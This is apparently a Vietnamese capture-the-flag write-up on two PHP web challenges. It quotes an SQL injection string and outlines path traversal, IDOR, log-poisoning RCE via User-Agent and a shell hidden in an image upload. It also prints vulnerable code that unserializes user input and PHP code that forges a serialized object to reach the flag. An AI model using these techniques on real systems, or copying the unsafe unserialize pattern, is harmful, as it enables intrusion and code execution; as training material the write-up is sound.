Sau đây em xin trình bày về quá trình thực hiện khai thác lỗi của 2 chall web
Kết hợp thử chức năng và xem source code được cung cấp.
Sau khi gửi lên 2 tham số email và password, sẽ đi qua hàm login
để kiểm tra:
Có thể thấy ở đây sử dụng câu query nối chuỗi, sẽ có thể bị SQLi. Tuy nhiên sau khi thử inject abc@gmail.com ' or 1 = 1 -- '
thì lại không thành công. Bởi vì ở trước đó đã có một hàm filter input vào của mình
Tất cả những input GET, POST đều đi qua filter này, đặc biệt là filter dấu '
và \
để khai thác sql. (Vì ở dòng 55 hàm sanity_input đã được gọi nên mọi input đều sẽ bị check)
Sau khi đăng nhập thì thêm chức năng view trang cá nhân.
Đến đây kết hợp với đọc code sẽ bắt đầu thấy thêm một số lỗi.
Trang web nhận vào tham số page. sau đó đưa qua hàm include_page
Lỗi đầu tiên là Path traversal
dùng để khai thác đọc các file trong hệ thống
Khi thao tác ở trang user-detail.php thì nhớ đến trong source code có nhận vào một tham số đó là user_id
mà trang web không hiện thị chức năng này
Thực hiện brute force id ở đây sẽ leak ra được thông tin của những người khác(Lỗi idor)
User-Agent
-> Sau đó truy cập vào file log của apache để execute code.include
đã làm vô dụng đi hàm kiểm tra này.Việc cần làm tiếp theo là upload shell code vào file ảnh.
F12 lên kiểm tra tên file, và truy cập tới để RCE
Source code:
<?php
class contact
{
public $email;
public $name;
public $phone;
public $address;
}
class Example
{
private $hook;
function __construct(){
// some PHP code...
}
function __wakeup(){
if(isset($this->hook)){
$flag = file_get_contents('Flag.txt');
echo "<h3>".$flag."</h3>";
}
}
}
function unserialize_object($serializedstring) {
try{
$variables = array();
$a = preg_split("/(\w+)\|/", $serializedstring, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_DELIM_CAPTURE);
$counta = count($a);
for ($i = 0; $i < $counta; $i = $i + 2) {
$variables[$a[$i]] = unserialize($a[$i + 1]);
}
return $variables;
}
catch(Exception $e) {
echo '<div class="alert alert-success alert-dismissible show">'.$variables.'</div>';
}
}
function contact($serialize_object) {
$serialize_object = urldecode($serialize_object);
unserialize_object($serialize_object);
}
function validate_email($email) {
if (filter_var($email, FILTER_VALIDATE_EMAIL)) {
return 1;
}
return -1;
}
if(isset($_POST['submit'])) {
$object = new contact();
$object->email = $_POST['contact_email'];
$object->name = $_POST['contact_name'];
$object->phone = $_POST['contact_phone'];
$object->address = urlencode($_POST['contact_address']);
$serialize_object = "OBJECTION|".serialize($object);
$condition = preg_match('/%22|%7C|%23|%26|%5E|%27|%29|%28/', $object->address );
if (validate_email($object->email) === -1) {
$error = $object->email . _(" không hợp lệ!");
}elseif ($condition){
$suggest = $serialize_object;
contact($serialize_object);
}
else {
$success = "Chúng tôi sẽ liên hệ với bạn sau";
}
}
?>
Sau khi xem qua source code trên, thì có thể tóm tắt đơn giản là sau khi chúng ta nhập vào một form điền thông tin.
Đi qua một số hàm, thì dữ liệu của chúng ta sẽ được unserialize (trước đó nó đã được serialize trước, ở dòng 57)
$serialize_object
sẽ được gắn thành một chuỗi "OBJECTION" + serialize (Class contract)OBJECTION|O:7:"contact":4:{s:5:"email";s:14:"dung@gmail.com";s:4:"name";s:4:"Dung";s:5:"phone";s:7:"0399999";s:7:"address";s:7:"Nghe+An";}
$condition sẽ là kết quả của hàm preg_match sau khi kiểm tra trong chuỗi của address có ký tự nào trong list đó không. (Nếu có sẽ trả về 1 <=> True). Đây cũng là điều kiện cần để có thể đi tiếp trong code.
Cần một email hợp lệ, và address có một ký tự trong list (Dùng ' tương đương %27 trong urlencode)
Tiếp tục sẽ đi đến hàm contact -> Và sau khi urldecode lại tiếp tục truyền chuỗi serialize vào hàm unserialize_object
Trong hàm unserialize_object sử dụng preg_split để phân tích chuỗi.
Cụ thể như sau:
preg_split sẽ phân tích $serializedstring (đoạn ser từ những input từ form của mình) theo regex.
Vậy có nghĩa là từ sau ký tự |
thì O:7:"contact":4:{s:5:"email";s:14:"dung@gmail.com";s:4:"name";s:4:"Dung";s:5:"phone";s:2:"03";s:7:"address";s:7:"Nghe An";}
sẽ được unserialize.
Câu hỏi đặt ra là mình có thể thêm một chuỗi ser để hàm thực hiện unser cho mình không. Trong khi các giá trị input đều được control từ người dùng.
Sau khi thử thêm |
vào tham số phone, hàm preg_split đã parse ra 3 đoạn để unser. (Vậy thì việc cần làm là thay giá trị ở input như trên ví dụ để gọi ra class Example lấy flag )
class Example
{
private $hook;
function __construct(){
// some PHP code...
}
function __wakeup(){
if(isset($this->hook)){
$flag = file_get_contents('Flag.txt');
echo "<h3>".$flag."</h3>";
}
}
}
$hook
cần được khởi tạo để kiểm tra ở hàm isset, nhưng trong lớp nó là biến private, không thể gọi ngoài như public.Đoạn code test:
<?php
class Example
{
private $hook;
function __construct()
{
// some PHP code...
}
function __wakeup(){
if(isset($this->hook)){
$flag = "flag{this_is_flag}";
echo "<h3>".$flag."</h3>";
}
}
}
$obj = new Example();
// Use ReflectionClass to access the private property $hook
$reflectionClass = new ReflectionClass('Example');
$reflectionProperty = $reflectionClass->getProperty('hook');
$reflectionProperty->setAccessible(true);
// Set the value of $hook to true
$reflectionProperty->setValue($obj, true);
// Serialize the object
$data = (serialize($obj));
echo base64_encode($data);
// Unserialize the object and call __wakeup()
unserialize($data);
?>
Ở đây em lấy giá trị base64 để đưa vào burp, nếu chỉ cop ser của $data thì có khả năng cao là bị lỗi, vì một số ký tự không hiện ra.
Đưa vào burp và decode đoạn đó.